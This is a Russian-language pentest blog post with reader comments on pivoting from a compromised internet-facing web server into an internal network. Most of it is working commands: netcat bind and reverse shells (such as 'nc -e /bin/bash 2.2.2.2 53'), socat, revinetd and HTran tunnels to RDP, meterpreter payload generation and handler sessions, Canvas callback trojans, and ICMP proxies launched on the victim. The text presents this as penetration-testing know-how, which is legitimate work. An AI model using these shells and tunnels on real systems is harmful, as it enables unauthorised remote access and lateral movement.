Атака на внутреннюю сеть из Интернет


Ключевыми задачами при развитии атаки во внутреннюю сеть (аля пентест), наравне с поиском и эксплуатацией уязвимостей, является доставка полезной нагрузки до объекта атаки и обеспечение "транспорта" к этому и смежным сетевым объектам. В качестве полезной нагрузки может выступать любой инструментарий (в т.ч. эксплоит), позволяющий расширить уровень привилегий, знаний (как по сети, так и в пределах одной системы) и осуществлять любые другие операции, выходящие за рамки функциональных возможностей атакуемой операционной системы и доступного на этой системе прикладного программного обеспечения. В качестве примера подобного инструментария можно упомянуть, например, Windows Credential Editor (WCE), который после компрометации операционной системы Windows необходимо запустить в адресном пространстве этой системы с целью получения паролей зарегистрированных пользователей в открытом виде. Под "транспортом" я понимаю любое туннелирование трафика, которое обеспечивает возможность взаимодействия с конкретным приложением на атакуемой системе. Например, обеспечение сетевого доступа по протоколу RDP к системе, расположенной за межсетевым экраном.

Задачи, связанные с доставкой полезной нагрузки и обеспечением "транспорта", могут пересекаться и дополнять друг друга. В данной публикации будут рассмотрены основные сценарии обеспечения "транспорта", которыми пользуются атакующие.

Рассмотрим три типовых сценария публикации внешних приложений (иллюстрация представлена ниже):

1. Сетевой доступ никак не ограничен в обе стороны (W01).
2. Сетевой доступ ограничен входящим TCP/80, обратно сетевой доступ не ограничен (W02).
3. Сетевой доступ ограничен входящим TCP/80, обратно весь ip-трафик блокируется пограничным межсетевым экраном (W03).


Постановка задачи для каждого из рассматриваемых сценариев будет следующей:

1. Обеспечить интерактивный терминал на веб-сервере (W0-3).
2. Обеспечить соединение по протоколу RDP к терминальному серверу (R).

При этом будем предполагать, что в качестве операционной системы веб-сервера могут выступать Windows/x86 или Linux/x86.

Сценарий 1 (веб-сервер W01)


Первый сценарий размещения веб-сервера, несмотря на архитектурное уродство при проектировании сетевой топологии, по-прежнему встречается на просторах нашей бескрайней.

Когда привилегий хватает (т.е. мы root/system) задача лежит в плоскости системного администрирования, т.е. переконфигурирование операционной системы веб-сервера в самый обыкновенный шлюз. Примеров подобных настроек для всех видов осей в интернете предостаточно, поэтому не стану на этом останавливаться.

Если мы ограничены в привилегиях, тогда нам никто не запрещает занять свободный TCP/UDP-порт в диапазоне 1024-65535 (данное ограничение не действует на Windows системы т.е. с правами пользователя можно занимать свободные порты ниже 1024).

Переключение на интерактивный терминал:


Windows:
W01> nc.exe -l -p 12345 -e cmd.exe
H# nc 1.1.1.2 12345

W01> nc.exe -l -p 12345 -u -e cmd.exe
H# nc –u 1.1.1.2 12345

Linux:
W01> nc -l -p 12345 -e /bin/bash
H# nc 1.1.1.2 12345


Обеспечение доступа к терминальному серверу:


Windows/Linux:
W01> echo 0.0.0.0 12345 192.168.0.1 3389 > conf
W01> rinetd -f -c conf
H# rdesktop 1.1.1.2:12345


W01> FPipe -l 12345 -r 3389 192.168.0.1
H# rdesktop 1.1.1.2:12345


Windows/Linux:
W01> socat TCP4-LISTEN:12345 TCP4:192.168.0.1:3389
H# rdesktop 1.1.1.2:12345

Пример туннелирования TCP поверх UDP:
W01> socat UDP4-LISTEN:12345 TCP4:192.168.0.1:3389
H# socat TCP4-LISTEN:4444 UDP4:1.1.1.2:12345
H# rdesktop localhost:4444

- Proxifier (требуется proxy с поддержкой метода connect или socks; http://www.proxifier.com/)


- ProxyCap (требуется proxy с поддержкой метода connect, socks или ssh; http://www.proxycap.com/)




Решение обоих задач:

- Metasploit Framework (http://www.metasploit.com/)

Windows:
H# msfpayload windows/meterpreter/bind_tcp LPORT=12345 X > meterpreter.exe
W01> meterpreter.exe
H# msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set RHOST 1.1.1.2
RHOST => 1.1.1.2
msf  exploit(handler) > set LPORT 12345
LPORT => 12345
msf exploit(handler) > exploit
[*] Started reverse handler
[*] Starting the payload handler...

meterpreter > execute -f cmd.exe -i -H
...

meterpreter > portfwd -l 4444 -p 3389 -r 192.168.0.1
...

H# rdesktop localhost:4444


Linux:
H# msfpayload linux/x86/meterpreter/bind_tcp LPORT=12345 X > meterpreter


Сценарий 2 (веб-сервер W02)


Наиболее распространенный вариант размещения веб-сервера, который встречается буквально при тестировании каждой информационной системы. В данном сценарии межсетевой экран блокирует все входящие подключения, кроме http-порта занятого веб-сервером. Конечно можно совершить акт вандализма (в случае наличия соответствующих привилегий) убив веб-сервер и заняв его порт, но обычно настраивают обратные подключения…

Переключение на интерактивный терминал:

Равносильно первому сценарию, можно воспользоваться netcat’ом:

Windows:
H# nc -l -p 53
W02> nc.exe -e cmd.exe 2.2.2.2 53

Linux:
H# nc -l -p 53
W02> nc -e /bin/bash 2.2.2.2 53

Стоит отметить, что для тех случаев, когда волшебного ключика "-e" в находящейся под рукой сборке netcat нет, можно использовать, например, такую конструкцию:

H# nc -l -p 53
H# nc -l -p 80
W02> nc 2.2.2.2 53 | /bin/bash | nc 2.2.2.2 80

В данном примере на порту TCP/53 следует передавать команды операционной системы, а на порту TCP/80 получать результат выполнения этих команд. 

По аналогии может использоваться и socat (http://www.dest-unreach.org/socat/doc/linuxwochen2007-socat.pdf). По следующей ссылке содержится небольшая подборка по другим реализациям обратного подключения в интерактивный терминал: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Обеспечение доступа к терминальному серверу:

Все тот-же socat:
H# socat TCP4-LISTEN:12345,fork TCP4-LISTEN:4444
W02> socat TCP-CONNECT:2.2.2.2:12345 TCP-CONNECT:192.168.0.1:3389
H# rdesktop localhost:4444


H# ./revinetd -s -c 127.0.0.1:4444 -l 2.2.2.2:12345 -v -k 1
W02> ./revinetd -r -b 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k 1
H# rdesktop localhost:4444

H# revinetd.exe -s -l 4444 -L 12345 -v -k 1
W02> revinetd.exe -r -c 2.2.2.2:12345 -t 192.168.0.1:3389 -v -k

PS. Разумеется в качестве серверной части может выступать сборка под windows, а в качестве клиентской под linux и наоборот.


Более правильная реализация обратного TCP-туннелирования, которой судя по данному отчету активно пользуются Китайские собратья.

H# HTran -m 2 -p1 12345 -p2 4444
W02> HTran -m 3 -h1 2.2.2.2 -p1 12345 -h2 192.168.0.1 -p2 3389
H# rdesktop localhost:4444

H# HTran.exe -listen 12345 4444
W02> HTran.exe -slave 2.2.2.2 12345 192.168.0.1 3389

PS. В отличии от revinetd данная реализация обратного TCP-туннелирования обладает преимуществами в возможностях каскадных соединений и в способности обрабатывать несколько параллельных TCP сессий со стороны клиентов.

Пример каскадного соединения:
H# HTran.exe -listen 12345 4444
W01> HTran.exe -tran 2.2.2.2 12345 4444
W02> ./HTran –m 3 –h1 192.168.0.2 –p1 4444 –h2 192.168.0.1 –p2 3389

Решение обоих задач:

Для MSF все также будет справедливо по аналогии с примером выше для первого сценария. Разница лишь в том, что тут потребуется использовать другую нагрузку:

H# msfpayload linux/x86/meterpreter/reverse_tcp LHOST=2.2.2.2 LPORT=12345 X > meterpreter

Альтернативой MSF для аналогичных целей может использоваться коммерческий эксплоит-пак Immunity Canvas:

H# exploits/BuildCallbackTrojan/BuildCallbackTrojan.py -t 0.0.0.0 -O callback_host:2.2.2.2 -O callback_port:5555 -O OS:Windows -O filename:immunity.exe

Поднимаем слушатель:



Получаем клиента на MOSDEF-транспорте:




И счастливые обладатели White Phosphorus Exploit Pack могут сделать port forward поверх MOSDEF (как это не покажется странным, но в составе самого Immunity Canvas родного пробрасывальщика портов нету).



Сценарий 3 (веб-сервер W03)


Данный вариант публикации внешнего приложения является наиболее суровым по отношению к атакующему. Для проброса "транспорта" к приложениям внутренней сети в этом сценарии используют непосредственно среду скомпрометированного веб-сервера/приложения. То есть, в пределах корневого каталога веб-сервера размещают новый сценарий, который отвечает за инкапсуляцию трафика. Альтернативным решением может являться подгрузка "правильного" модуля аля http-прокси с поддержкой метода connect.

- http-tunnel (только php; http://http-tunnel.sourceforge.net/)
Пример использования reduh - http://carnal0wnage.attackresearch.com/2009_10_01_archive.html
- webtunnel (только perl; http://sourceforge.net/projects/webtunnel/)

Альтернативным решением может стать vpsproxy, функционал которого ограничен путешествием по протоколу HTTP(S).

Для получения интерактивного терминала на веб-сервере в данном сценарии может применяться следующий подход:

1. Поднимаем на свободном порту (в т.ч. localhost) интерактивный шелл (например, с использованием netcat).
2. Пробрасываем этот шелл к самому веб-серверу (по аналогии с протоколом RDP).

Другим вариантом общения с веб-сервером может служить протокол разрешения имен - DNS. Я имею ввиду такое общение, которое протекает через цепочку настоящих DNS-серверов, которым разрешен доступ в интернет, как минимум с использованием соответствующего протокола. Однако смысла в подобном пробросе для решения поставленных задач при имеющихся вводных не имеет т.к. использовать протокол DNS для инкапсулирования протокола RDP, увы, не получится. Дополнительную информацию про проброс поверх DNS, а также соответствующий инструментарий можно найти по следующим ссылкам:


К слову, immunity canvas также поддерживает свой mosdef поверх протокола dns...

Если же мы изменим несколько вводные и разрешим бегать в сторону интернет протоколу ICMP, тогда он вполне подойдет для организации не самого шустрого транспорта для доступа к RDP. Стоит отметить, что на практике, конфигурации в которых со стороны веб-сервера заблокировано все, но разрешен протокол icmp (факт. ping), встречаются крайне и крайне редко. Но встречаются!

Для Immunity Canvas инструкция будет следующей:

MOSDEF вешаем на linux с правами root и в текущий таргет устанавливаем хост, от которого пойдут icmp пакеты и жмякаем меню Servers/icmp_proxy. На жертве запускаем:

Resources\icmp_proxy.exe -l 127.0.0.1 -p 5555 -t <хост с mosdef>
Resources\mosdef_callback.exe 127.0.0.1 5555



Бесплатные альтернативы для аналогичных целей:

Разумеется, данный материал не является исчерпывающим по поднятой мною теме. Поэтому буду благодарен дорогим читателям за описание других жизненных ситуаций и пути их разрулирования.

11 комментариев :

  1. Анонимно7 мая 2013 г., 11:17

    Что-то не понятно. Веб серверу, доступному "из мира" положено быть в ДМЗ, коннекты из которой во внутреннюю сеть должны быть закрыты по максимуму (исключения возможны, но их минимум). Если терминальный серер относится не к публичным внешним сервисам - вам придется еще ломать девайс, обеспечивающий функционал ДМЗ. И даже если терминальный сервер тоже публичный сервис, хорошей практикой является (у той же циски это в их safe описано) изолировать сервера даже в одном L3-сегменте за счет VACL или PVLAN при условии, что серверам не надо между собой общаться, а часто так и есть (не надо).

    ОтветитьУдалить
  2. Ну наверное не "должны быть закрыты по максимуму", а могут быть закрыты в т.ч. за счет доступных технологий, которые Вы упомянули, а также требований регуляторов (как внешних, так и внутренних) или за счет личной ответственности или фанатизма сетевого администратора ;)

    В конце этого месяца будет опубликована "Статистика по результатам тестирований на проникновение за 2011-2012 г.", в котором обсуждаемый недостаток аля недостаточное разграничение внешних и внутренних сетей будет представлен в цифрах. Так, из проводимых пентестов (без использования социотехнических атак) в 75% случаев специалистам Positive Technologies удалось получить полный контроль над критичными ресурсами тестируемых систем, при этом почти в половине случаев (45%) подобный уровень доступа мог быть получен со стороны любого внешнего нарушителя. Т.е. как минимум в половине тестируемых информационных систем разграничение внешних ресурсов (зачастую не расположенных в ДМЗ!) с внутренними ресурсами используется не эффективно. И на самом деле, этот показатель еще выше...

    ОтветитьУдалить
  3. Анонимно7 мая 2013 г., 12:07

    Именно должны, НО могут быть не... Я о лучших практиках и азах, разбираемых в учебниках и "веселых картинках" от вендоров как железа так и софта, а вы о печальных реалиях (причем, я подозреваю, компаний определенного уровня). Раздолбайство и непрофессионализм всегда и везде если не доминируют, то не на последнем, скажем так, месте.
    Речь же не о квадратуре круга какой-то. Крупные корпораты, заботящиеся о здоровье собственных сетей даже внутри ЛВС применяют приемы от простых до сложных и дорогих для предотвращения тех сценариев, что вы описали. От простых ACL до изоляции трафика а-ля VRF. У нас в ЛВС (офисной ее части) два юзера рядом сидящих "не видят" в сети друг друга (один vlan), а тут читаешь про банальное "пошаговое" проникновение в том ключе - что это норма жизни.

    ОтветитьУдалить
  4. Вот вот! Вы о рекомендациях в умных книжках, а я о том, как есть на самом деле. И такие дела обстоят во всех сферах экономики. И как раз в крупных сетях, подобные недостатки встречаются куда более чаще, чем в небольших.

    ЗЫ. цель этой публикации не показать самый распространенный недостаток в проектировании сетей, а с консолидировать типовые методы, которые используют атакующие для развития атаки со внешнего периметра (и лишь в части проксирования TCP-соединений до объекта атаки).

    ОтветитьУдалить
  5. Анонимно7 мая 2013 г., 12:48

    А много по вашим данным сейчас успешных атак с периметра? На сколько это сейчас в ходу? А то уж сколько лет периметр все размывается-размывается... По крайней мере в презентациях ИБ-шников :)

    ОтветитьУдалить
  6. Цитата, из уже озвученного отчета со статистикой по результатам тестирований на проникновение за 2011-2012 г.: "Для 84% исследованных систем в результате внешнего тестирования на проникновение со стороны сети Интернет удалось получить несанкционированный доступ к ресурсам. При этом в каждом третьем случае был получен полный контроль над всей инфраструктурой.".

    ОтветитьУдалить
  7. Вопросы немного не по теме:а как обстоит дело с закрытием дыр, после ознакомления с отчётом пентестера.Насколько организации для которых он проводится адекватны в принтяии к сведению информации проведённого теста и "отчёта на 500 страниц с протоколирование всех действий"(удовольствие я думаю не дешёвое).Проводится ли повторное тестирование для проверки устранения обнаруженных проблем в безопасности?

    ОтветитьУдалить
  8. Вспомнилось в тему: что делать, если нельзя доставить на хост неткат, а имеющийся не обладает опциями -е/-с - http://pen-testing.sans.org/blog/pen-testing/2013/05/06/netcat-without-e-no-problem

    ОтветитьУдалить
  9. to gematom:

    Как показывает практика, если результаты пентеста доводятся до самого высокого руководства на понятном им языке с акцентом на наиболее значимые для них угрозы (например, "за 3 дня удалось получить доступ к офшорным счетам..."), тогда можно наблюдать эффективное устранение большинства критических уязвимостей за короткие сроки с последующим ясным отношением к вопросам ИБ на n-ое время. В противном случае, устранение уязвимостей протекает очень вяло...

    >> адекватны в принтяии к сведению информации проведённого теста

    по-разному. все очень сильно упирается в психологию людей... у кого-то амбиции зашкаливают... такие воспринимают выполненную работу, как личную обиду. кто-то наоборот адекватен и использует результаты по-максимуму для построения эффективной системы управления ИБ. обиженных с амбициями больше адекватных(

    >> удовольствие я думаю не дешёвое

    все относительно :)

    >> Проводится ли повторное тестирование

    как правило да

    to Vlad Styran:

    угук, выручает на embedded железках

    ОтветитьУдалить
  10. Очень занятные мысли, хорошо рассказано, все просто таки разложено по полкам

    ОтветитьУдалить
  11. ссылка по теме - http://zarb.org/~gc/html/udp-in-ssh-tunneling.html

    ОтветитьУдалить